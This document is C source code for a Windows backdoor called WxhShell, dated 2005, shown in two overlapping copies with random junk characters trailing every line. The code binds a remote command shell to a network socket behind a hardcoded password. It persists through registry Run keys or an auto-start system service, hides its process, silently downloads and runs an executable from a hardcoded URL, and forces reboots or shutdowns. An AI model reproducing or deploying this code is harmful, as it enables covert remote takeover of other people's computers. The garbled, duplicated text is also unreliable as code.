    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <n>< A+D  
    if(Boot(SHUTDOWN)) =8iM,Vl3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !rWib` %  
    else { 6"DvdJ0MB  
    closesocket(wsh); 0^m02\Li  
    ExitThread(0); `9ieTt  
    } p})&Zl)V  
    break; 9qpH 8j+  
    } m[}$&i$(  
  // 获取shell R9W(MLe58  
  case 's': { 7@sWT<P  
    CmdShell(wsh); <ESAoY"RPN  
    closesocket(wsh); C>+UZ  
    ExitThread(0); iJYr?3nw;  
    break; F JzjS;  
  } -l\@50, D  
  // 退出 zm e:U![  
  case 'x': { 0h7\zoZ5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1)r1/0  
    CloseIt(wsh); ,y0kzwPR1  
    break; ;#;X@BhS  
    } gQ?k}D  
  // 离开 ESs)|t h  
  case 'q': { h*d,AJz &.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yR`-rJb V  
    closesocket(wsh); (~P&$$qfD  
    WSACleanup(); WDZEnauE  
    exit(1); .Ybm27Dk  
    break; F kWJB>  
        } ^I0SfZ'Y  
  } {<GsM  
  } K|B1jdzL  
+b{\v1b  
  // 提示信息 #NqA5QR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BAxZR  
} >fjf] 6  
  } M*}o{E;  
`jV0;sPd;  
  return; qg>i8V  
} lj[Bd >  
3oSQe"  
// shell模块句柄 9orza<#  
int CmdShell(SOCKET sock) PC9:nee  
{ &v:iC u^|  
STARTUPINFO si; UpgOU.  
ZeroMemory(&si,sizeof(si)); nyIb8=f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n\ IVpgP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YB 4R8}4  
PROCESS_INFORMATION ProcessInfo; q)P<lKi  
char cmdline[]="cmd"; $/D@=P kc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _ pJU~8  
  return 0; qYpHH!!C=  
} x[vX|oE!A  
nK:39D$(  
// 自身启动模式 )QX9T  
int StartFromService(void) %(NRH?  
{ 6@T_1  
typedef struct 2<y -cQ?>  
{ ^iGIF~J9  
  DWORD ExitStatus; GxvVh71zP  
  DWORD PebBaseAddress; @}FRiPo6  
  DWORD AffinityMask; HloP NE&}  
  DWORD BasePriority; N%T-Q9k  
  ULONG UniqueProcessId; 'aCnj8B  
  ULONG InheritedFromUniqueProcessId; _-D(N/  
}   PROCESS_BASIC_INFORMATION; 4 Hu+ljdjB  
jReI+ pS  
PROCNTQSIP NtQueryInformationProcess; eQ*gnV}rE%  
/aK },+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Fq|Zc`P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;BI{v^()s  
a#kZY7s  
  HANDLE             hProcess; i3kI{8h  
  PROCESS_BASIC_INFORMATION pbi;  ztTpMj  
o&>0 pc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KR{kn[2|Q  
  if(NULL == hInst ) return 0; ] $%{nj<  
L\b$1U!i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UP,(zKTA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '8}\! i&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J +9D/VT  
HHX9QebiST  
  if (!NtQueryInformationProcess) return 0; A\=:h  AQ  
0AaN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >8RIMW2  
  if(!hProcess) return 0; x.d9mjLN8m  
Jb0]!*tV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 02SUyv(Mt  
]qXfg c  
  CloseHandle(hProcess); ok7DI  
V-jo2+Y5=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p HWol!  
if(hProcess==NULL) return 0; Uqkh@-6-  
BG'gk#J+f  
HMODULE hMod; FMR0?\jnT  
char procName[255]; E P<U:F  
unsigned long cbNeeded; :\.v\.wm  
`_f3o,5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Q\w4?ci  
7}nOF{RH]  
  CloseHandle(hProcess); /A_ IS`  
9gWQGkql  
if(strstr(procName,"services")) return 1; // 以服务启动 a5&wS@) ;  
{B[i|(xQx  
  return 0; // 注册表启动 Vv zd>yII  
} 6H3_q x  
z9VQsC'K  
// 主模块 @m(\f  
int StartWxhshell(LPSTR lpCmdLine) Ron^PvvY&  
{ F9d][ P@@  
  SOCKET wsl; ?Ww',e  
BOOL val=TRUE; A^g81s.5  
  int port=0; N`#v"f<~Q  
  struct sockaddr_in door; F`Pu$>8C  
xE+Go  
  if(wscfg.ws_autoins) Install(); z muq4-.  
hI?<F^b  
port=atoi(lpCmdLine); {a>)VZw_#  
6_9w1 ,W E  
if(port<=0) port=wscfg.ws_port; \ 0:ITz  
AjZT- Q0L  
  WSADATA data; &qo'ge8p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EkJo.'0@  
V,2O `D%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }}ogdq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *aTM3k)Zs  
  door.sin_family = AF_INET; ~>{<r{H"S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {VI%]n{M  
  door.sin_port = htons(port); 5Lue.U%a  
8l?]UFM>C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b#$:XS  
closesocket(wsl); 4$_8#w B1&  
return 1; 'o5[ :=K  
} u D . 0?*_  
IMVoNKW-  
  if(listen(wsl,2) == INVALID_SOCKET) { ^\x PF5  
closesocket(wsl); C8(sH@  
return 1; V @8X .R>  
} lMP|$C  
  Wxhshell(wsl); \f._I+gJ  
  WSACleanup(); Wmp\J3  
1AhL-Lj  
return 0; J@1(2%)|Z  
4,)=r3;&!  
} y 5=J6a2.  
!rrjA$P<v  
// 以NT服务方式启动 u} KiSZxt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I</Nmgf  
{ ECl[v%R/6  
DWORD   status = 0; R4{}ZT  
  DWORD   specificError = 0xfffffff; 1a%*X UT  
ib& |271gG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q>||HtF$A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )L_jR%2j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rov0  
  serviceStatus.dwWin32ExitCode     = 0; +!w?g/dV  
  serviceStatus.dwServiceSpecificExitCode = 0; #Xsby  
  serviceStatus.dwCheckPoint       = 0; dU+1@_  
  serviceStatus.dwWaitHint       = 0; ,(lD5iN  
Q}I. UG_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;M}bQ88  
  if (hServiceStatusHandle==0) return; .%D] z{''  
FSH6C2  
status = GetLastError(); !M}&dW2  
  if (status!=NO_ERROR) _Hkc<j/e~  
{ =#1/<q)L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :<nL9y jt  
    serviceStatus.dwCheckPoint       = 0; aIkxN&  
    serviceStatus.dwWaitHint       = 0; |/rBR!kPq  
    serviceStatus.dwWin32ExitCode     = status; LV9\  
    serviceStatus.dwServiceSpecificExitCode = specificError; tMupX-V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =niU6Q}  
    return; D b(a;o   
  } 8whjPn0  
7_A(1Lx/l7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t6LTGWs/_o  
  serviceStatus.dwCheckPoint       = 0; v3`J~,V<  
  serviceStatus.dwWaitHint       = 0; "zm.jNn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d{DlW |_  
} [rGR1>U?i  
*mBn''a"*  
// 处理NT服务事件,比如:启动、停止 .i`+}@iA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u*H2kn[DU  
{ `t#C0  
switch(fdwControl) 3{,Mpb@  
{ sp AYb<  
case SERVICE_CONTROL_STOP: c*LnLK/m  
  serviceStatus.dwWin32ExitCode = 0; [?;oiEe.|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eeuAo&L&  
  serviceStatus.dwCheckPoint   = 0; +>/ Q+nh  
  serviceStatus.dwWaitHint     = 0; r\L:JTZ$  
  { 0z\=uQ0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 23+>K  
  } )v'3pTs2  
  return; DfqXw^BKD  
case SERVICE_CONTROL_PAUSE: tjYe82  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~*G I<n  
  break; +)ro EJ_  
case SERVICE_CONTROL_CONTINUE: Xa%Z0% {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hydn" 9;  
  break; -@AGQ+e  
case SERVICE_CONTROL_INTERROGATE: 6`%}s3Xq  
  break; +}z T][9w  
}; ~l.]3wyk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9/^4W.  
} Ip?Ueaei  
<o p !dS  
// 标准应用程序主函数 o1YhYA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /n(0nU[  
{ MQp1j:CK  
.'>r?%a  
// 获取操作系统版本 b/WVWDyob/  
OsIsNt=GetOsVer(); .bew,92  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `\#Q r|GC  
[NC^v.[1[  
  // 从命令行安装 \5X34'7   
  if(strpbrk(lpCmdLine,"iI")) Install(); <w08p*?  
At.WBa3j%{  
  // 下载执行文件 CYG'WFvZZ  
if(wscfg.ws_downexe) { I%p Q2T$;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?c(f6p?%  
  WinExec(wscfg.ws_filenam,SW_HIDE); G=\rlH]N  
} DlTV1X-^1  
8+ `cv"  
if(!OsIsNt) { Pq;1EI  
// 如果时win9x,隐藏进程并且设置为注册表启动 +X.iJ$)  
HideProc(); ZH.l^'(W  
StartWxhshell(lpCmdLine); Z=n& fsE  
} Bxz{rR0XV  
else -08Ys c  
  if(StartFromService()) h&[!CtPm  
  // 以服务方式启动 )V~<8/)  
  StartServiceCtrlDispatcher(DispatchTable); DR^mT$  
else H| IsjCc  
  // 普通方式启动 rt t?4  
  StartWxhshell(lpCmdLine); 3Qn! `  
b abDLaC@  
return 0; ?T?%x(]I  
} Xdw%Hw  
YjLPW@  
^> ZQ:xs@(  
qo4AQ}0 <  
=========================================== : 8(~{<R  
; N!K/[p=  
aU5t|S6  
vk.Y2 :  
#P18vK5  
=yfr{5}R  
" 7zpwP  
0+M1,?+GfF  
#include <stdio.h> EGU? 54  
#include <string.h> V?5QpBK I  
#include <windows.h> gXs@FhR0  
#include <winsock2.h> u=k\]W-  
#include <winsvc.h> ENjrv   
#include <urlmon.h> Hq6VwQu?  
c[J#Hc8;  
#pragma comment (lib, "Ws2_32.lib") R4p bi=  
#pragma comment (lib, "urlmon.lib") />)>~_-3  
`Fu|50_@V  
#define MAX_USER   100 // 最大客户端连接数 A~O 'l&KB  
#define BUF_SOCK   200 // sock buffer Qa(u+  
#define KEY_BUFF   255 // 输入 buffer >8 VfijK  
 LlnIn{C  
#define REBOOT     0   // 重启 +oe ~j\=  
#define SHUTDOWN   1   // 关机 l AE$HP'o  
b< Pjmb+  
#define DEF_PORT   5000 // 监听端口 u;1#eP\;  
(47jop0RDQ  
#define REG_LEN     16   // 注册表键长度 hW _NARA  
#define SVC_LEN     80   // NT服务名长度 )QFT$rmX  
cidS/OH  
// 从dll定义API (f $Y0;v>}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CA[k$Sw*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q>!T*BQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?AYI   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uqX"^dn4u  
|`_TVzA  
// wxhshell配置信息 ]N2'L!4|;  
struct WSCFG { K#+TCZ,  
  int ws_port;         // 监听端口 Ba!`x<wa  
  char ws_passstr[REG_LEN]; // 口令 8t0i j  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]:m*7p\uk  
  char ws_regname[REG_LEN]; // 注册表键名 efZdtrKgy  
  char ws_svcname[REG_LEN]; // 服务名 JI@~FD&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tj{rSg7{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sfa T`q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~O |j*T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tJ2l_M^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 69O?sIk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2zArAch  
o NJ/AT  
}; {RwwSqJ  
S#2 'Jw  
// default Wxhshell configuration B>YrDJUN  
struct WSCFG wscfg={DEF_PORT, 9Ni$nZN  
    "xuhuanlingzhe", Ho\K %#u  
    1, e[>(L%QV+  
    "Wxhshell", 3)__b:7J  
    "Wxhshell", QBai;p{  
            "WxhShell Service", .:l78>f  
    "Wrsky Windows CmdShell Service", .Uha%~%  
    "Please Input Your Password: ", aH,0+|  
  1, lt5~rH2  
  "http://www.wrsky.com/wxhshell.exe", ag[yM  
  "Wxhshell.exe" khc5h^0  
    }; x\I9J4Q  
h, +2Mc<  
// 消息定义模块 mY dU`j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G4=%<+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HPtaW:J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h#;fBQ]   
char *msg_ws_ext="\n\rExit."; \AkeC6[D  
char *msg_ws_end="\n\rQuit."; E2!;W8M  
char *msg_ws_boot="\n\rReboot..."; }^)M)8zS  
char *msg_ws_poff="\n\rShutdown..."; !\+SE"ml  
char *msg_ws_down="\n\rSave to "; $].< /  
dKZffDTZ  
char *msg_ws_err="\n\rErr!"; |p.mA-81  
char *msg_ws_ok="\n\rOK!"; H)t8d_^|j  
vA(3H/)-  
char ExeFile[MAX_PATH]; &$< S1  
int nUser = 0; mZMLDs:  
HANDLE handles[MAX_USER]; j"}alS`-  
int OsIsNt; AP/tBC eM  
wjKW 3  
SERVICE_STATUS       serviceStatus; )5'S=av9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l$)pCo  
k NK)mE  
// 函数声明 -`f JhQ|  
int Install(void); ;h0?o*i_  
int Uninstall(void); ]*I&104{  
int DownloadFile(char *sURL, SOCKET wsh); QP[w{T  
int Boot(int flag); CNf eHMT  
void HideProc(void); Jq/([  
int GetOsVer(void);  yZdM4`  
int Wxhshell(SOCKET wsl); n8R{LjJ2@  
void TalkWithClient(void *cs); ?}B_'NZ%  
int CmdShell(SOCKET sock); 4+ yd/^S  
int StartFromService(void); #UI@<0P)  
int StartWxhshell(LPSTR lpCmdLine); 0^:O:X  
&ATjDbW*(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }g>&l.2X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]>*Z 1g;  
=GFlaGD  
// 数据结构和表定义 |w:7).P  
SERVICE_TABLE_ENTRY DispatchTable[] = 4`!(M]u=  
{ DQKhR sC  
{wscfg.ws_svcname, NTServiceMain}, LD]XN'?"W  
{NULL, NULL} J&{E  
}; l,,5OZw  
9K FWa0G  
// 自我安装 L!-T`R8'c  
int Install(void) \CU.'|X  
{ -DU[dU*~  
  char svExeFile[MAX_PATH]; 'OkF.bs  
  HKEY key; CW, Kw  
  strcpy(svExeFile,ExeFile); l(%bdy  
OC"W=[Myl  
// 如果是win9x系统,修改注册表设为自启动 J"I{0>@  
if(!OsIsNt) { ^om(6JL2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /v=MGX@r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A!goR-J]  
  RegCloseKey(key); `')3}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5I t+ S+a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O8 k$Uc  
  RegCloseKey(key); 1_XdL?h#o  
  return 0; $I>.w4G}  
    } LGRX@nF#  
  } RUSBJsMB  
} <:>a51HBX  
else { :2K0/@<x  
v:s~Y  
// 如果是NT以上系统,安装为系统服务 [ V/*{Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tb{l(up/a  
if (schSCManager!=0) hZc$`V=R  
{ xNE<$Bz  
  SC_HANDLE schService = CreateService !XzRV?Ih;  
  ( R9fM9  
  schSCManager, /R 2:Js  
  wscfg.ws_svcname, u@[D*c1!H  
  wscfg.ws_svcdisp, vKol@7%N  
  SERVICE_ALL_ACCESS, a&wl-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BEifUgCh  
  SERVICE_AUTO_START, z/6eP`jj  
  SERVICE_ERROR_NORMAL, O6l j^  
  svExeFile, DoNbCVZ  
  NULL, G|IO~o0+  
  NULL, I:bi8D6  
  NULL, vezX/xD?  
  NULL, ^5j9WV  
  NULL |c dQJW  
  ); $WrDZU 2z  
  if (schService!=0) h]vA%VuE'E  
  { T+N%KRl  
  CloseServiceHandle(schService); V 7%rKK  
  CloseServiceHandle(schSCManager); 97'*Xq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V= !!;KR0  
  strcat(svExeFile,wscfg.ws_svcname); | u7vY/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `NyvJt^<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ z{:Q  
  RegCloseKey(key); +hV7o!WxC  
  return 0; 56d,Sk)  
    } $>]7NTP  
  } bC)d iC  
  CloseServiceHandle(schSCManager); "*XR'9~7  
} L%U-MOS=  
} qL UbRp  
=<n+AqJ%  
return 1; *siS4RX2  
} |*i0h`a  
GC~Tfrf=r  
// 自我卸载 T>.*c6I b  
int Uninstall(void) Abd&p N  
{ !1w=_  
  HKEY key; P*)}ENY  
Xr6UN{_-  
if(!OsIsNt) { F{B__Kf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WFsa8qv  
  RegDeleteValue(key,wscfg.ws_regname); NuLQkf)  
  RegCloseKey(key); 28>gAz.#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8;-a_VjA)  
  RegDeleteValue(key,wscfg.ws_regname); &0*j nb  
  RegCloseKey(key); x.xfMM2n  
  return 0; D CcM~  
  } '8}*erAg  
} ja#E}`wC4  
} W;eHDQ|  
else { W`C2zbC  
^ejU=0+cN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Z}A+Rv+*m  
if (schSCManager!=0) XGbtmmQG  
{ _U|s!60'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |Q?IV5%$  
  if (schService!=0) w8%<O^wN,  
  { 1|q$Wn:*  
  if(DeleteService(schService)!=0) { )$]_;JFr  
  CloseServiceHandle(schService); uIiE,.Uu}  
  CloseServiceHandle(schSCManager); v<HhB.t.  
  return 0; {^1D|y  
  } \%K< S  
  CloseServiceHandle(schService); #\GWYWkR  
  } a=.A/;|0*  
  CloseServiceHandle(schSCManager); "z1\I\ ^  
} GxuFO5wz  
} sFT-aLpL@V  
R%"wf   
return 1; *"d"  
} y.=ur,Nd  
_qR1M):yJ  
// 从指定url下载文件 j7?53e  
int DownloadFile(char *sURL, SOCKET wsh) hg/G7Ur"  
{ KtG|m'\D  
  HRESULT hr; Uw8O"}U8  
char seps[]= "/"; 5<0&y3  
char *token; <=W;z=$!Bb  
char *file; T&H[JQ/h  
char myURL[MAX_PATH]; WSz#g2a  
char myFILE[MAX_PATH]; xrFFmQ<_W  
)}0(7z Yu  
strcpy(myURL,sURL); cz~Fz;)2{N  
  token=strtok(myURL,seps); J'G 6Z7  
  while(token!=NULL) GKTrf\"c  
  { b*+Od8r  
    file=token; /U4F\pZl  
  token=strtok(NULL,seps); CE=&ZHt9  
  } l&R~ I6^E  
5Q;Fwtm  
GetCurrentDirectory(MAX_PATH,myFILE); e23}'qb  
strcat(myFILE, "\\"); $-Lk,}s.*  
strcat(myFILE, file); zWb>y  
  send(wsh,myFILE,strlen(myFILE),0); n ,!PyJ  
send(wsh,"...",3,0); @T0F }(k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "t$c'`  
  if(hr==S_OK) SzR7:U  
return 0; |JC/A;ZH  
else w+)MrB-}  
return 1; lfba   
6",S$3q  
} f02 <u  
K;a]+9C  
// 系统电源模块 *e&OpVn  
int Boot(int flag) &U^6N+l9  
{ rvgArFf}]  
  HANDLE hToken; ] ?w hx &+  
  TOKEN_PRIVILEGES tkp; 8=Xy19<;t  
s.d }*H-o  
  if(OsIsNt) { d~M;@<eD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M0YV Qa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4D=p#KZ  
    tkp.PrivilegeCount = 1; gXBC= ?jl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q x}\[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >k)}R|tJ  
if(flag==REBOOT) { &ejJf{id  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !ba /] A/  
  return 0; Cbv$O o*  
} }pxMO? h$  
else { e<2?O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `O4Ysk72x9  
  return 0; TUuw  
} q1Gc0{+)  
  } \bNN]=  
  else { xfZ.  
if(flag==REBOOT) { 9y"R,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yAz`n[  
  return 0; z UN&L7D  
} 8,d<&3D  
else { .-2i9Bh6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dF$a52LS  
  return 0; lO&TSPD^  
} v[~e=^IIsl  
} |)`<D  
MHar9)$}  
return 1; cBs:7Pnp%  
} COvcR.*0F  
}q7rR:g  
// win9x进程隐藏模块 ;;#28nV  
void HideProc(void) //T1e7)  
{ `}<x"f7.z  
@Cg%7AF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z7>pz:,  
  if ( hKernel != NULL ) A Ws y9  
  { >1u!(-A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pm`BMy<5PU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *Y'nDv6_P  
    FreeLibrary(hKernel); YL*yiZ9  
  } 4&]Sb}  
`L n,qiA  
return; .;nU" a3'  
} I.#V/{J  
n3Uw6gLD  
// 获取操作系统版本 %zDh07VT\  
int GetOsVer(void) /=4 m4  
{ 2I DN?Mw  
  OSVERSIONINFO winfo; 3<">1] /,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ )nxX))a  
  GetVersionEx(&winfo); =*<Cw?Gc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xo^P=uf%  
  return 1; 7:iTx;,v  
  else _gDEIoBp  
  return 0; `P/7Mf  
} |Rk9W  
Z{&dzc  
// 客户端句柄模块 v w(X9xa  
int Wxhshell(SOCKET wsl) ,c }R*\  
{ )*6 ]m1  
  SOCKET wsh; od\-o:bS  
  struct sockaddr_in client; a ;@G  
  DWORD myID; 7tbM~+<0  
"%^T~Z(_j  
  while(nUser<MAX_USER) jFAnhbbCE  
{ LcL|'S)  
  int nSize=sizeof(client); "`WcE/(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A6-K~z^  
  if(wsh==INVALID_SOCKET) return 1;  M18<d1*  
L>:YGM"sL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D3,9X#B=  
if(handles[nUser]==0) fH{ _X  
  closesocket(wsh); 5ZpU><y  
else abAX)R'  
  nUser++; H$G`e'`OZ  
  } N`o[iHUj \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V+04X"  
vSyR% j  
  return 0; YS$42J_T  
} &?[uY5Mk  
<WPLjgtn3  
// 关闭 socket b{X,0a{*  
void CloseIt(SOCKET wsh) _4+'@u #  
{ E+'P|~>oX  
closesocket(wsh); F`C$F!GE  
nUser--; -l)u`f^n|  
ExitThread(0); Q:rQ;/b0/  
} Xx)PyO  
b# v+_7  
// 客户端请求句柄 .lbo\v}2W  
void TalkWithClient(void *cs) y+jOk6)W75  
{ T-.Q  
6sE%]u<V  
  SOCKET wsh=(SOCKET)cs; QV&yVH=Xs  
  char pwd[SVC_LEN]; e#{,M8  
  char cmd[KEY_BUFF]; ?7?hDw_Nk  
char chr[1]; IhRWa|{I  
int i,j; l:Hm|9UZ  
.A6i?iROe  
  while (nUser < MAX_USER) { fm u;Pb]r  
a8Va3Y  
if(wscfg.ws_passstr) { o'#ow(X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A.[~}ywH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ],.1=iY  
  //ZeroMemory(pwd,KEY_BUFF); DAvF ND$=  
      i=0; ()cqax4  
  while(i<SVC_LEN) { ON()2@Y4  
;&K +x@  
  // 设置超时 g+:Go9k!F  
  fd_set FdRead; <r`^iR)%  
  struct timeval TimeOut; JSf \ApX  
  FD_ZERO(&FdRead); B:?MMXB  
  FD_SET(wsh,&FdRead); ; fOkR+  
  TimeOut.tv_sec=8; )c; YR}tC  
  TimeOut.tv_usec=0; }hoyjzv]L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0 UbY0sYo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZjB]pG+  
z+~klv 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }4dbS ;C<  
  pwd=chr[0]; 8(jUCD  
  if(chr[0]==0xd || chr[0]==0xa) { \7\7i-Vo  
  pwd=0; {D>@ZC  
  break; EklcnM|6  
  } V{D~e0i/v  
  i++; d[( }  
    } z yh #ygH  
-G|?Kl  
  // 如果是非法用户,关闭 socket ZYMacTeJjg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4lCEzWo[/  
} x@aWvrL  
:"im2J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |<2g^ZK)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @)^|U"  
X`s6lV%\  
while(1) { <F%c"Rkh  
t5M"M{V  
  ZeroMemory(cmd,KEY_BUFF); s+fjQo4  
Kn#CIFbBN  
      // 自动支持客户端 telnet标准   C2a2K={  
  j=0; Fk4T>8q2;  
  while(j<KEY_BUFF) { _G62E $=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9| {t%F=-  
  cmd[j]=chr[0]; le*'GgU#  
  if(chr[0]==0xa || chr[0]==0xd) { vB<2f*U  
  cmd[j]=0; 8hZY Z /T  
  break; 7A=*3  
  } D\@)*"  
  j++; zn3]vU!  
    } nD5+&M0  
ag* 5fBF  
  // 下载文件 Y<WA-dYoF  
  if(strstr(cmd,"http://")) { >;NiG)Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ =XJ<  
  if(DownloadFile(cmd,wsh)) E&_q"jJRi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?cvV~&$gc  
  else n@PXC8}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %s;=H)8  
  } wV{jJyRl  
  else { ;i>(r;ZM  
@?/>$  
    switch(cmd[0]) { * ujJpJZ2  
  ]fdxpqz  
